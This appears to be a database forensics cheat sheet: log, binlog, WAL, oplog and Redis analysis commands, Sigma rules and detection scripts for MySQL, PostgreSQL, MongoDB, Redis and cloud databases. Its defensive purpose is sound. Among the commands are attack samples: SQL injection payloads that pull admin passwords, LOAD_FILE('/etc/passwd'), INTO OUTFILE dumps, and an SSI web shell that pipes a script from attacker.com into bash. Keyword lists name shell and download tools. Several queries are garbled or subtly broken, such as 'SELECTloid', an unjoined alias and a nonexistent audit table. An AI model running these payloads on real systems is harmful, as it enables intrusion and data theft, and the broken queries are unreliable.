数据库深度取证分析

mysqlbinlog --base64-output=decode-rows -v binlog.000042 > binlog_decoded.sql

pg_waldump -p /var/lib/postgresql/14/main/pg_wal/ 000000010000000000000001

redis-rdb-tools --command memory dump.rdb --type zset --output csv > rdb_analysis.csv

mongodump --oplog --out /evidence/mongodb_backup/ --oplogLimit "1688534400:1"

pt-query-digest /var/log/mysql/slow.log --limit 20 --output ascii

mysqlbinlog --start-datetime="2026-06-01 00:00:00" --stop-datetime="2026-06-02 00:00:00" binlog.000042

SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'TABLE';
SELECT * FROM mysql.general_log ORDER BY event_time DESC LIMIT 100;

SELECT * FROM users WHERE id=1 AND 1=1
SELECT * FROM users WHERE id=1 AND 1=2
SELECT * FROM users WHERE id=1 UNION SELECT username,password FROM admin--
SELECT * FROM users WHERE id=1 AND SLEEP(5)
SELECT * FROM users WHERE id=1 AND BENCHMARK(10000000,SHA1('test'))
SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM information_schema.tables)>0

grep -iE "(UNION|SLEEP|BENCHMARK|LOAD_FILE|INTO\s+(OUT|DUMP)FILE|INFORMATION_SCHEMA|MYSQL\.USER)" /var/log/mysql/general.log

awk '/CONNECT/{conn=$0} /UNION|SLEEP|BENCHMARK/{print conn"\n"$0"\n---"}' /var/log/mysql/general.log

SET GLOBAL slow_query_log = 'ON';
SET GLOBAL slow_query_log_file = '/var/log/mysql/slow_queries.log';
SET GLOBAL long_query_time = 0;
SET GLOBAL log_queries_not_using_indexes = 'ON';

grep -E "SLEEP\(|BENCHMARK\(|SELECT.*WHERE.*AND.*SLEEP" /var/log/mysql/slow_queries.log

pt-query-digest /var/log/mysql/slow_queries.log --limit 50 --report-format profile --order by Query_time:sum

pt-query-digest /var/log/mysql/slow_queries.log --filter '$event->{fingerprint} =~ /SLEEP|BENCHMARK/' --output report

mysqlbinlog --base64-output=decode-rows -v binlog.000042 | head -50

mysqlbinlog --no-defaults -v binlog.000042 | grep -iE "CREATE|ALTER|DROP|GRANT|INSERT|UPDATE|DELETE" | head -100

mysqlbinlog --start-datetime="2026-06-01 10:00:00" --stop-datetime="2026-06-01 12:00:00" --base64-output=decode-rows -v binlog.000042

python binlog2sql.py --host=127.0.0.1 --port=3306 --user=root --password=xxx --start-file='binlog.000042' --start-datetime='2026-06-01 10:00:00' --stop-datetime='2026-06-01 12:00:00'

mysqlbinlog -v binlog.000042 | awk '/^[0-9]{6}.*Query/{ts=$1; stmt=$0} /CREATE\s+(FUNCTION|PROCEDURE|TRIGGER|EVENT)|GRANT\s+ALL|DROP\s+(USER|TABLE)/{print ts; print stmt; print $0; print "---"}'

mysqlbinlog -v binlog.000042 | awk '/QUERY_EVENT/{print $0}' | grep -i "INSERT\|UPDATE\|DELETE" > binlog_writes.txt

awk '/CONNECT/{user=$4; host=$6} /Query/{print user"@"host": "$0}' /var/log/mysql/general.log > general_with_user.txt

INSTALL PLUGIN server_audit SONAME 'server_audit.so';
SET GLOBAL server_audit_logging = 'ON';
SET GLOBAL server_audit_events = 'CONNECT,QUERY_DDL,QUERY_DML,QUERY_DCL';
SET GLOBAL server_audit_file_path = '/var/log/mysql/audit.log';

grep -E "CONNECT.*FAILED|QUERY_DCL.*GRANT|QUERY_DDL.*TRIGGER|QUERY_DDL.*EVENT" /var/log/mysql/audit.log

CREATE EXTENSION pg_stat_statements;
SELECT pg_stat_statements_reset();

echo "shared_preload_libraries = 'pg_stat_statements'" >> /etc/postgresql/14/main/postgresql.conf
echo "pg_stat_statements.track = all" >> /etc/postgresql/14/main/postgresql.conf
systemctl restart postgresql

SELECT userid, dbid, LEFT(query, 120) AS query_preview, calls, round(total_exec_time::numeric, 2) AS total_time_ms, rows
FROM pg_stat_statements
WHERE query ILIKE '%UNION%SELECT%'
   OR query ILIKE '%SLEEP(%'
   OR query ILIKE '%pg_sleep(%'
   OR query ILIKE '%BENCHMARK(%'
   OR query ILIKE '%LOAD_FILE(%'
   OR query ILIKE '%COPY%FROM%'
ORDER BY calls DESC
LIMIT 50;

SELECT query, calls, rows, total_exec_time
FROM pg_stat_statements
WHERE calls > 10000
   AND rows > 0
ORDER BY total_exec_time DESC
LIMIT 20;

SELECT query, calls, rows, round(rows::numeric / greatest(calls, 1), 0) AS avg_rows_per_call
FROM pg_stat_statements
WHERE query ILIKE '%SELECT%FROM%'
  AND rows > 1000
ORDER BY rows DESC
LIMIT 30;

pg_waldump /var/lib/postgresql/14/main/pg_wal/000000010000000000000001 > wal_decoded.txt

pg_waldump --stats /var/lib/postgresql/14/main/pg_wal/000000010000000000000001

pg_waldump /var/lib/postgresql/14/main/pg_wal/000000010000000000000001 | grep -E "CREATE|DROP|TRUNCATE|GRANT|REVOKE" | head -50

pg_waldump -p /var/lib/postgresql/14/main/pg_wal/ 000000010000000000000001 | awk '/heap_insert|heap_update|heap_delete/{print}' | head -100

SHOW wal_level;
SHOW max_wal_senders;
SHOW archive_mode;
SHOW archive_command;

CREATE EXTENSION pgaudit;

echo "shared_preload_libraries = 'pgaudit'" >> /etc/postgresql/14/main/postgresql.conf
echo "pgaudit.log = 'ddl, role, write'" >> /etc/postgresql/14/main/postgresql.conf
echo "pgaudit.log_catalog = on" >> /etc/postgresql/14/main/postgresql.conf
systemctl restart postgresql

ALTER USER attacker_user SET pgaudit.log = 'all';

SELECT * FROM pg_catalog.pg_audit_log ORDER BY event_time DESC LIMIT 100;

cat /etc/postgresql/14/main/pg_hba.conf | grep -v '^#' | grep -v '^$'

diff <(cat /etc/postgresql/14/main/pg_hba.conf.bak) <(cat /etc/postgresql/14/main/pg_hba.conf) | grep -E "^[<>]"

grep -n "trust\|0.0.0.0/0\|::/0" /etc/postgresql/14/main/pg_hba.conf

SELECT client_addr, usename, state, query_start, query
FROM pg_stat_activity
WHERE state != 'idle'
ORDER BY query_start DESC;

grep "postgresql" /var/log/auth.log | grep -i "connection\|authentication" | tail -50

journalctl -u postgresql --since "2026-06-01 00:00:00" --until "2026-06-02 00:00:00" | grep -iE "connection|authentication|error|fatal"

cat /var/log/postgresql/postgresql-14-main.log | awk '/LOG.*connection authorized/{print}' | tail -50

paste <(grep "LOG.*connection" /var/log/postgresql/postgresql-14-main.log | awk '{print $1, $2}') <(grep "postgresql" /var/log/auth.log | awk '{print $1, $2, $3, $9}') | head -30

db.setProfilingLevel(2, { slowms: 100 })
db.system.profile.find({ "op": "query", "ns": "app.users" }).sort({ ts: -1 }).limit(20)

db.system.profile.find({ "command.filter.$where": { $exists: true } }).sort({ ts: -1 })

db.system.profile.find({ "command.filter.password": { $ne: "" } }).sort({ ts: -1 })

db.system.profile.find({ "command.filter.$where": /function\s*\(\)/ }).forEach(function(doc) {
    printjson({
        timestamp: doc.ts,
        operation: doc.op,
        namespace: doc.ns,
        query: doc.command.filter,
        millis: doc.millis,
        user: doc.user
    });
});

grep -iE "authentication failed|command.*\$where|slow query|unauthorized" /var/log/mongodb/mongod.log | tail -50

use local
db.oplog.rs.find({ "op": "i", "ns": "admin.system.users" }).sort({ ts: -1 })
db.oplog.rs.find({ "op": "i", "ns": { $regex: /^app\./ } }).sort({ ts: -1 })

db.oplog.rs.find({
    "ts": { $gt: Timestamp(1688534400, 1) },
    $or: [
        { "op": "i", "ns": /system\.users/ },
        { "o createUser": { $exists: true } },
        { "o.grantRole": { $exists: true } }
    ]
}).sort({ ts: -1 }).limit(100)

redis-cli --no-auth-warning -h 127.0.0.1 -a '' INFO keyspace

redis-cli --no-auth-warning -h 127.0.0.1 -a '' KEYS '*' | head -100

redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET dir
redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET dbfilename

redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET requirepass
redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET bind
redis-cli --no-auth-warning -h 127.0.0.1 -a '' CONFIG GET protected-mode

redis-cli -h 127.0.0.1 -a '' INFO replication

redis-rdb-tools dump.rdb --type string --output csv | grep -iE "ssh|cron|shell|webshell|key"

strings dump.rdb | grep -iE "ssh-rsa|authorized_keys|/bin/sh|/bin/bash|curl|wget|python|perl"

cat appendonly.aof | grep -E "SET|CONFIG SET|MODULE LOAD|REPLICAOF" | head -100

redis-rdb-tools dump.rdb --type string --keys ".*" --output csv > all_keys.csv

awk '/SET/{key=$2; val=substr($0, index($0,$3)); if(length(val)>100) print key": "substr(val,1,200)"..."}' appendonly.aof | head -30

curl -s http://127.0.0.1:5984/_all_dbs | python3 -m json.tool

curl -s http://127.0.0.1:5984/_users/_all_docs?include_docs=true | python3 -m json.tool

curl -s http://127.0.0.1:9200/_cat/indices?v

curl -s http://127.0.0.1:9200/_nodes/hot_threads | head -30

curl -X PUT http://127.0.0.1:5984/_users -d '{"_id":"_design/users","views":{"all":{"map":"function(doc){emit(doc._id,doc)}"}}}'

cqlsh -e "SELECT * FROM system_auth.role_permissions WHERE role='attacker_role';"

cypher-shell -u neo4j -p password "MATCH (n:User) WHERE n.admin=true RETURN n"

cqlsh -e "DESCRIBE KEYSPACES;"

cqlsh -e "SELECT role, can_login, is_superuser FROM system_auth.roles;"

SELECT * FROM mysql.func;

SELECT name, type, ret, dl, sql_data_access FROM mysql.func;

find /usr/lib/mysql/ /usr/lib64/mysql/ /usr/local/lib/mysql/ -name "*.so" -newer /usr/sbin/mysqld -ls

ls -la /var/lib/mysql/lib/plugin/ 2>/dev/null || ls -la /usr/lib/mysql/plugin/ 2>/dev/null

strings /usr/lib/mysql/plugin/udf_evil.so | grep -iE "system|exec|cmd|bash|shell"

mysqlbinlog -v binlog.000042 | grep -iE "CREATE\s+FUNCTION|CREATE\s+AGGREGATE\s+FUNCTION"

mysqlbinlog --base64-output=decode-rows -v binlog.000042 | grep -iE "mysql\.func|plugin"

SELECT db, name, type, definer, created, security_type FROM mysql.proc WHERE type = 'PROCEDURE' AND security_type = 'DEFINER';

SELECT routine_name, routine_type, routine_body, external_language, created
FROM information_schema.routines
WHERE external_language = 'C' OR routine_definition LIKE '%soname%';

SELECT event_schema, event_name, status, event_type, execute_at, interval_value, interval_field
FROM information_schema.events
WHERE event_definition LIKE '%SLEEP%' OR event_definition LIKE '%INTO OUTFILE%';

SELECT proname, proowner::regrole, prolang::regtype, prosrc
FROM pg_proc
WHERE prolang = (SELECT oid FROM pg_language WHERE lanname = 'c');

SELECT loid, lomode, lonowner, lodesc, lo creation::text
FROM pg_catalog.pg_largeobject_metadata
WHERE lonowner NOT IN (SELECT oid FROM pg_roles WHERE rolname IN ('postgres', 'replication'));

SELECTloid, pageno, pg_catalog.lo_get(loid, pageno * 131072 + 1, 100) AS chunk_preview
FROM pg_largeobject
WHERE pageno < 5
LIMIT 20;

SELECT e.event_type, e.object_type, e.object_identity, e.command_tag, e.session_user_name, e.event_time
FROM pg_catalog.pg_stat_activity a
JOIN pg_catalog.pg_backend_memory_contexts m ON a.pid = m.pid
WHERE e.object_type = 'large object';

SELECT user, host, password, authentication_string, account_locked, password_expired FROM mysql.user;

SELECT trigger_schema, trigger_name, event_object_table, action_timing, event_manipulation, action_statement
FROM information_schema.triggers
WHERE action_statement LIKE '%SLEEP%' OR action_statement LIKE '%INTO OUTFILE%'
   OR action_statement LIKE '%LOAD_FILE%' OR action_statement LIKE '%BENCHMARK%'
   OR action_statement LIKE '%EXECUTE%IMMEDIATE%';

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges
WHERE grantee NOT IN (SELECT DISTINCT grantee FROM information_schema.table_privileges);

SELECT usename, usesuper, usecreatedb, usecatupdate, valuntil, passwd
FROM pg_shadow
WHERE usesuper = true;

mysqlbinlog -v binlog.000042 | grep -iE "CREATE\s+USER|GRANT\s+ALL|SET\s+PASSWORD|CREATE\s+TRIGGER"

SELECT user, host, super_priv, file_priv, process_priv, grant_priv FROM mysql.user WHERE super_priv='Y' OR file_priv='Y' OR grant_priv='Y';

SELECT r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolreplication, ARRAY_AGG(m.rolname) AS member_of
FROM pg_roles r
LEFT JOIN pg_auth_members am ON r.oid = am.roleid
LEFT JOIN pg_roles m ON am.member = m.oid
WHERE r.rolsuper = true OR r.rolcreaterole = true
GROUP BY r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolreplication;

SELECT user, host, Super_priv, File_priv, Process_priv, Grant_priv, Create_user_priv FROM mysql.user WHERE Super_priv='Y' OR File_priv='Y' OR Grant_priv='Y' OR Create_user_priv='Y';

mysqlbinlog -v binlog.000042 | awk '/GRANT.*ON.*\*\.\*/{print}'

SELECT * FROM users INTO OUTFILE '/tmp/users_dump.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n';

SELECT * FROM users INTO DUMPFILE '/tmp/users_raw.bin';

find /tmp /var/tmp /dev/shm /var/log -name "*.csv" -o -name "*.sql" -o -name "*.dump" -o -name "*.bak" -o -name "*.bin" -newer /etc/hostname 2>/dev/null

mysqlbinlog -v binlog.000042 | grep -iE "INTO\s+(OUT|DUMP)FILE"

ps aux | grep -E "mysqldump|pg_dump|mongoexport|redis-dump" | grep -v grep

lsof -p $(pgrep -f mysqldump) 2>/dev/null | grep -E "cwd|txt|REG" | head -20

SELECT LOAD_FILE('/etc/passwd');

SELECT * FROM users INTO OUTFILE '/var/www/html/dump.csv';

SELECT '<!--#exec cmd="curl http://attacker.com/shell.sh | bash"-->' INTO OUTFILE '/var/www/html/shell.shtml';

grep -rE "LOAD_FILE|INTO\s+(OUT|DUMP)FILE|SELECT.*INTO" /var/log/mysql/ | head -20

tcpdump -i any -A 'port 80 or port 443' | grep -iE "SELECT|INSERT|UPDATE|DELETE|dump|export" | head -50

SELECT COUNT(*) AS total, COUNT(DISTINCT secret_watermark_field) AS watermarks FROM sensitive_data;

SELECT user_id, email, created_at,
       CAST(created_at AS DECIMAL(18,15)) - CAST(FROM_UNIXTIME(FLOOR(UNIX_TIMESTAMP(created_at))) AS DECIMAL(18,15)) AS ts_micro
FROM users ORDER BY ts_micro DESC LIMIT 100;

import struct
import sqlite3

def detect_watermark(db_path):
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()
    cursor.execute("SELECT name FROM sqlite_master WHERE type='table'")
    tables = cursor.fetchall()
    findings = []
    for table in tables:
        cursor.execute(f"PRAGMA table_info({table[0]})")
        columns = [col[1] for col in cursor.fetchall()]
        for col in columns:
            if any(w in col.lower() for w in ['watermark', 'fingerprint', 'tag', 'mark', 'track']):
                findings.append(f"SUSPICIOUS COLUMN: {table[0]}.{col}")
    conn.close()
    return findings

SELECT user, host, COUNT(*) AS conn_count FROM mysql.general_log WHERE command_type = 'Connect' GROUP BY user, host ORDER BY conn_count DESC;

SELECT client_addr, usename, backend_start, state_change, query_start, query, backend_type
FROM pg_stat_activity
WHERE backend_type = 'client backend'
ORDER BY query_start DESC;

SELECT conn, user, db, addr, idle_in, age(now(), conn) AS conn_age FROM pg_stat_activity WHERE state = 'active' AND now() - query_start > interval '5 minutes';

ss -tnp | grep -E "3306|5432|27017|6379" | awk '{print $4, $5}' | sort | uniq -c | sort -rn | head -20

netstat -tnp | grep -E "3306|5432|27017|6379" | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20

mysqlbinlog -v binlog.000042 | grep -iE "CHANGE MASTER|REPLICA OF|CHANGE REPLICATION"

cat /var/lib/mysql/auto.cnf

mysql -e "SHOW SLAVE HOSTS\G"

mysql -e "SHOW BINARY LOGS\G"

SHOW MASTER STATUS;
SHOW SLAVE STATUS\G

cat /var/lib/postgresql/14/main/pg_wal/archive_status/ | ls -la

psql -c "SELECT * FROM pg_stat_replication;"

psql -c "SELECT slot_name, plugin, slot_type, database, active, restart_lsn, confirmed_flush_lsn FROM pg_replication_slots;"

aws logs filter-log-events --log-group-name /aws/rds/instance/mydb/audit --filter-pattern "ERROR OR WARNING" --start-time 1688534400000

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateDBInstance --start-time 2026-06-01T00:00:00Z

aws rds describe-db-instances --db-instance-identifier mydb --query 'DBInstances[0].{Status:DBInstanceStatus,Engine:Engine,MasterUsername:MasterUsername,Endpoint:Endpoint.Address}'

import boto3
import json
from datetime import datetime, timedelta

def analyze_rds_audit(log_group, hours=24):
    client = boto3.client('logs')
    end_time = int(datetime.now().timestamp() * 1000)
    start_time = int((datetime.now() - timedelta(hours=hours)).timestamp() * 1000)
    events = []
    next_token = None
    while True:
        kwargs = {
            'logGroupName': log_group,
            'startTime': start_time,
            'endTime': end_time,
            'filterPattern': 'INSERT OR DELETE OR GRANT OR DROP OR ALTER',
            'limit': 10000
        }
        if next_token:
            kwargs['nextToken'] = next_token
        response = client.filter_log_events(**kwargs)
        events.extend(response['events'])
        next_token = response.get('nextToken')
        if not next_token:
            break
    suspicious = []
    for event in events:
        msg = event['message']
        if any(kw in msg.upper() for kw in ['GRANT ALL', 'DROP USER', 'INTO OUTFILE', 'LOAD_FILE', 'CREATE USER']):
            suspicious.append({
                'timestamp': event['timestamp'],
                'message': msg[:500]
            })
    return suspicious

az sql server audit-policy show --server-name myserver --resource-group myrg

az monitor diagnostic-settings list --resource /subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Sql/servers/{server}

az monitor logs query --workspace "{workspace_id}" --query "AzureDiagnostics | where Category == 'SQLSecurityAuditEvents' | where action_name_s in ('INSERT','DELETE','UPDATE','DROP DATABASE','CREATE USER') | order by event_time_t desc | take 100"

az monitor logs query --workspace "{workspace_id}" --query "AzureSecurityInsights | where EventType == 'SqlInjectionExploit' or EventType == 'AccessFromAbnormalIP' | order by EventTime desc | take 50"

gcloud logging read "resource.type=cloudsql_database AND protoPayload.methodName=INSERT OR DELETE OR UPDATE OR GRANT OR DROP" --format=json --limit=100

gcloud logging read "resource.type=cloudsql_database AND severity>=WARNING" --format=json --limit=50

gcloud logging read "protoPayload.serviceName=cloudsql.googleapis.com AND protoPayload.methodName!=Query" --format=json --limit=100

aliyun rds DescribeDBInstanceAuditPolicy --DBInstanceId rm-xxx

aliyun rds DownloadLogList --DBInstanceId rm-xxx --StartTime=2026-06-01T00:00Z --EndTime=2026-06-02T00:00Z --LogType=SlowQuery

aliyun rds DescribeDBInstanceAttribute --DBInstanceId rm-xxx --query 'Items[0].{Engine:Engine,SecurityIPList:SecurityIPList,Account:AccountName}'

aws ec2 describe-security-groups --filters "Name=ip-permission.cidr,Values=0.0.0.0/0" --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`)]]'

aws ec2 describe-snapshots --owner-ids self --query 'Snapshots[?Encrypted==`false`]'

aws rds describe-db-snapshot-attributes --db-snapshot-identifier my-snapshot --query 'DBSnapshotAttributes[?AttributeName==`restore`]'

title: MySQL SQL Injection UNION SELECT Detection
id: 5a1b2c3d-4e5f-6789-abcd-ef0123456789
status: experimental
description: Detects UNION SELECT patterns in MySQL general log indicating SQL injection attempts
references:
  - https://owasp.org/www-community/attacks/SQL_Injection
author: x7peeps
date: 2026/07/05
tags:
  - attack.initial_access
  - attack.t1190
logsource:
  product: mysql
  service: general_log
detection:
  selection_uni:
    argument|contains:
      - 'UNION SELECT'
      - 'UNION ALL SELECT'
      - 'union select'
      - 'union all select'
  selection_payload:
    argument|contains:
      - 'information_schema'
      - 'mysql.user'
      - 'pg_catalog'
      - 'sysadmin'
  condition: selection_uni and selection_payload
  timeframe: 5m
  count(argument) > 5
level: high
falsepositives:
  - Legitimate reporting queries

title: MySQL UDF Privilege Escalation
id: 6b2c3d4e-5f6a-7890-bcde-f01234567890
status: experimental
description: Detects creation of MySQL User Defined Functions which may indicate privilege escalation
author: x7peeps
date: 2026/07/05
tags:
  - attack.privilege_escalation
  - attack.t1078
logsource:
  product: mysql
  service: general_log
detection:
  selection:
    argument|contains:
      - 'CREATE FUNCTION'
      - 'CREATE AGGREGATE FUNCTION'
  filter_legit:
    argument|contains:
      - 'CONCAT'
      - 'IFNULL'
      - 'UUID'
  condition: selection and not filter_legit
level: critical
falsepositives:
  - Application UDF installation (rare)

title: Redis Suspicious CONFIG SET Command
id: 7c3d4e5f-6a7b-8901-cdef-012345678901
status: experimental
description: Detects Redis CONFIG SET commands that may indicate unauthorized access or exploitation
author: x7peeps
date: 2026/07/05
tags:
  - attack.command_and_control
  - attack.t1105
logsource:
  product: redis
  service: logfile
detection:
  selection_dir:
    command|contains:
      - 'CONFIG SET dir'
      - 'CONFIG SET dbfilename'
      - 'CONFIG SET requirepass'
      - 'CONFIG SET bind'
      - 'CONFIG SET protected-mode no'
  selection_module:
    command|contains:
      - 'MODULE LOAD'
      - 'SLAVEOF'
      - 'REPLICAOF'
  condition: selection_dir or selection_module
level: critical
falsepositives:
  - Legitimate Redis administration

#!/bin/bash
BINLOG_DIR="/var/lib/mysql"
BINLOG_PREFIX="binlog.000"
SUSPICIOUS_PATTERNS="UNION|SLEEP|BENCHMARK|LOAD_FILE|INTO\s+(OUT|DUMP)FILE|GRANT\s+ALL|CREATE\s+(USER|FUNCTION|TRIGGER|EVENT)|DROP\s+(USER|DATABASE)|information_schema|mysql\.user"
OUTPUT_DIR="/tmp/mysql_forensics_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

echo "[*] MySQL Binlog Forensic Analysis"
echo "[*] Output directory: $OUTPUT_DIR"

for binlog in "$BINLOG_DIR"/$BINLOG_PREFIX*; do
    echo "[+] Processing: $binlog"
    mysqlbinlog -v "$binlog" 2>/dev/null | grep -iE "$SUSPICIOUS_PATTERNS" >> "$OUTPUT_DIR/suspicious_queries.txt"
    mysqlbinlog --base64-output=decode-rows -v "$binlog" 2>/dev/null | grep -iE "INTO\s+(OUT|DUMP)FILE|LOAD_FILE" >> "$OUTPUT_DIR/data_exfil.txt"
done

echo "[*] Suspicious queries found:"
wc -l "$OUTPUT_DIR/suspicious_queries.txt"

echo "[*] Data exfiltration attempts:"
wc -l "$OUTPUT_DIR/data_exfil.txt"

echo "[*] Timeline of suspicious events:"
grep -hE "^[0-9]{6}" "$OUTPUT_DIR/suspicious_queries.txt" | awk '{print $1, $2, $0}' | sort > "$OUTPUT_DIR/timeline.txt"
head -30 "$OUTPUT_DIR/timeline.txt"

echo "[+] Analysis complete. Results in: $OUTPUT_DIR"

#!/bin/bash
PG_WAL_DIR="/var/lib/postgresql/14/main/pg_wal"
OUTPUT_DIR="/tmp/pg_wal_forensics_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

echo "[*] PostgreSQL WAL Forensic Analysis"

for wal_file in "$PG_WAL_DIR"/00000001*; do
    echo "[+] Processing: $wal_file"
    pg_waldump "$wal_file" 2>/dev/null | grep -iE "CREATE|DROP|TRUNCATE|GRANT|REVOKE|ALTER" >> "$OUTPUT_DIR/suspicious_ddl.txt"
    pg_waldump "$wal_file" 2>/dev/null | grep -iE "heap_insert|heap_delete|heap_update" | wc -l >> "$OUTPUT_DIR/write_counts.txt"
done

echo "[*] Suspicious DDL operations:"
cat "$OUTPUT_DIR/suspicious_ddl.txt" | head -50

echo "[+] Analysis complete. Results in: $OUTPUT_DIR"

#!/bin/bash
REDIS_HOST="127.0.0.1"
REDIS_PORT="6379"
REDIS_PASS=""
OUTPUT_DIR="/tmp/redis_forensics_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

echo "[*] Redis Security Forensic Analysis"

redis-cli -h "$REDIS_HOST" -p "$REDIS_PORT" -a "$REDIS_PASS" --no-auth-warning CONFIG GET requirepass > "$OUTPUT_DIR/config.txt" 2>/dev/null
redis-cli -h "$REDIS_HOST" -p "$REDIS_PORT" -a "$REDIS_PASS" --no-auth-warning CONFIG GET protected-mode >> "$OUTPUT_DIR/config.txt" 2>/dev/null

echo "[+] Configuration audit:"
cat "$OUTPUT_DIR/config.txt"

echo "[+] Scanning for suspicious keys..."
redis-cli -h "$REDIS_HOST" -p "$REDIS_PORT" -a "$REDIS_PASS" --no-auth-warning KEYS '*' 2>/dev/null | grep -iE "ssh|cron|shell|webshell|authorized|config|auth" > "$OUTPUT_DIR/suspicious_keys.txt"
cat "$OUTPUT_DIR/suspicious_keys.txt"

echo "[+] Checking for dangerous commands in AOF..."
if [ -f /var/lib/redis/appendonly.aof ]; then
    grep -iE "CONFIG SET|MODULE LOAD|SLAVEOF|REPLICAOF|FLUSHALL|FLUSHDB" /var/lib/redis/appendonly.aof > "$OUTPUT_DIR/dangerous_commands.txt" 2>/dev/null
    cat "$OUTPUT_DIR/dangerous_commands.txt"
fi

echo "[+] Checking RDB for suspicious content..."
if [ -f /var/lib/redis/dump.rdb ]; then
    strings /var/lib/redis/dump.rdb | grep -iE "ssh-rsa|authorized_keys|/bin/sh|/bin/bash|curl|wget|nc -|ncat|python -c|perl -e" > "$OUTPUT_DIR/rdb_suspicious.txt" 2>/dev/null
    cat "$OUTPUT_DIR/rdb_suspicious.txt"
fi

echo "[+] Redis analysis complete. Results in: $OUTPUT_DIR"

import re
import sys
from datetime import datetime
from collections import defaultdict, Counter

SLOW_QUERY_PATTERN = re.compile(r'#\s+Query_time:\s+([\d.]+)\s+Lock_time:\s+([\d.]+)\s+Rows_sent:\s+(\d+)\s+Rows_examined:\s+(\d+)')
TIMESTAMP_PATTERN = re.compile(r'^(\d{6}\s+\d{2}:\d{2}:\d{2})\s+(\d+)')
INJECTION_PATTERNS = [
    (r'UNION\s+(ALL\s+)?SELECT', 'UNION SELECT'),
    (r'SLEEP\s*\(\s*\d+\s*\)', 'SLEEP injection'),
    (r'BENCHMARK\s*\(\s*\d+', 'BENCHMARK injection'),
    (r'LOAD_FILE\s*\(', 'LOAD_FILE'),
    (r'INTO\s+(OUT|DUMP)FILE', 'OUTFILE data exfil'),
    (r'information_schema', 'Schema enumeration'),
    (r'mysql\.(user|db|func)', 'MySQL internal table access'),
    (r'pg_shadow', 'PostgreSQL password hash access'),
    (r'benchmark\s*\(\s*10000', 'Heavy benchmark'),
    (r'IF\s*\(.*SLEEP', 'Conditional time injection'),
]

def parse_slow_log(filepath):
    findings = []
    current_entry = {}
    with open(filepath, 'r', errors='ignore') as f:
        for line in f:
            line = line.strip()
            ts_match = TIMESTAMP_PATTERN.match(line)
            if ts_match:
                current_entry['timestamp'] = ts_match.group(1)
                current_entry['user_host'] = line.split('\t')[-1] if '\t' in line else ''
            q_match = SLOW_QUERY_PATTERN.match(line)
            if q_match:
                current_entry['query_time'] = float(q_match.group(1))
                current_entry['rows_sent'] = int(q_match.group(3))
                current_entry['rows_examined'] = int(q_match.group(4))
            if line.startswith('SET timestamp='):
                current_entry['set_timestamp'] = line
            if line and not line.startswith('#') and not line.startswith('use ') and not line.startswith('SET'):
                current_entry['query'] = line
                for pattern, name in INJECTION_PATTERNS:
                    if re.search(pattern, line, re.IGNORECASE):
                        current_entry['injection_type'] = name
                        findings.append(current_entry.copy())
                        break
                current_entry = {}
    return findings

def analyze_findings(findings):
    print(f"[*] Total suspicious queries found: {len(findings)}")
    type_counts = Counter(f['injection_type'] for f in findings)
    print("\n[*] Injection type distribution:")
    for itype, count in type_counts.most_common():
        print(f"    {itype}: {count}")
    print("\n[*] Top 10 longest queries (potential blind injection):")
    sorted_by_time = sorted(findings, key=lambda x: x.get('query_time', 0), reverse=True)[:10]
    for f in sorted_by_time:
        print(f"    [{f.get('timestamp', 'unknown')}] {f.get('query_time', 0):.2f}s - {f.get('injection_type', 'N/A')}: {f.get('query', '')[:120]}")
    print("\n[*] High volume data extraction (rows_examined > 10000):")
    for f in findings:
        if f.get('rows_examined', 0) > 10000:
            print(f"    [{f.get('timestamp', 'unknown')}] examined={f.get('rows_examined', 0)} sent={f.get('rows_sent', 0)}: {f.get('query', '')[:120]}")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <slow_query_log>")
        sys.exit(1)
    results = parse_slow_log(sys.argv[1])
    analyze_findings(results)

import re
import sys
import subprocess
from datetime import datetime

def parse_mysql_binlog(binlog_file):
    events = []
    try:
        result = subprocess.run(
            ['mysqlbinlog', '-v', binlog_file],
            capture_output=True, text=True, errors='ignore'
        )
        current_ts = None
        for line in result.stdout.split('\n'):
            ts_match = re.match(r'^(\d{6})\s+(\d{2}:\d{2}:\d{2})', line)
            if ts_match:
                current_ts = f"20{ts_match.group(1)[:2]}-{ts_match.group(1)[2:4]}-{ts_match.group(1)[4:6]} {ts_match.group(2)}"
            keywords = ['CREATE', 'ALTER', 'DROP', 'GRANT', 'REVOKE', 'INSERT', 'UPDATE', 'DELETE', 'TRUNCATE']
            if any(kw in line.upper() for kw in keywords) and current_ts:
                events.append({
                    'timestamp': current_ts,
                    'source': 'binlog',
                    'event': line.strip()[:200],
                    'severity': 'HIGH' if any(k in line.upper() for k in ['GRANT', 'CREATE USER', 'TRUNCATE', 'DROP']) else 'MEDIUM'
                })
    except FileNotFoundError:
        print("[!] mysqlbinlog not found")
    return events

def parse_pg_waldump(wal_dir):
    events = []
    try:
        import glob
        wal_files = glob.glob(f"{wal_dir}/00000001*")
        for wf in wal_files:
            result = subprocess.run(
                ['pg_waldump', wf],
                capture_output=True, text=True, errors='ignore'
            )
            for line in result.stdout.split('\n'):
                keywords = ['CREATE', 'DROP', 'TRUNCATE', 'GRANT', 'REVOKE']
                if any(kw in line.upper() for kw in keywords):
                    events.append({
                        'timestamp': 'WAL',
                        'source': 'wal',
                        'event': line.strip()[:200],
                        'severity': 'HIGH'
                    })
    except FileNotFoundError:
        print("[!] pg_waldump not found")
    return events

def generate_timeline(events):
    events.sort(key=lambda x: x.get('timestamp', ''))
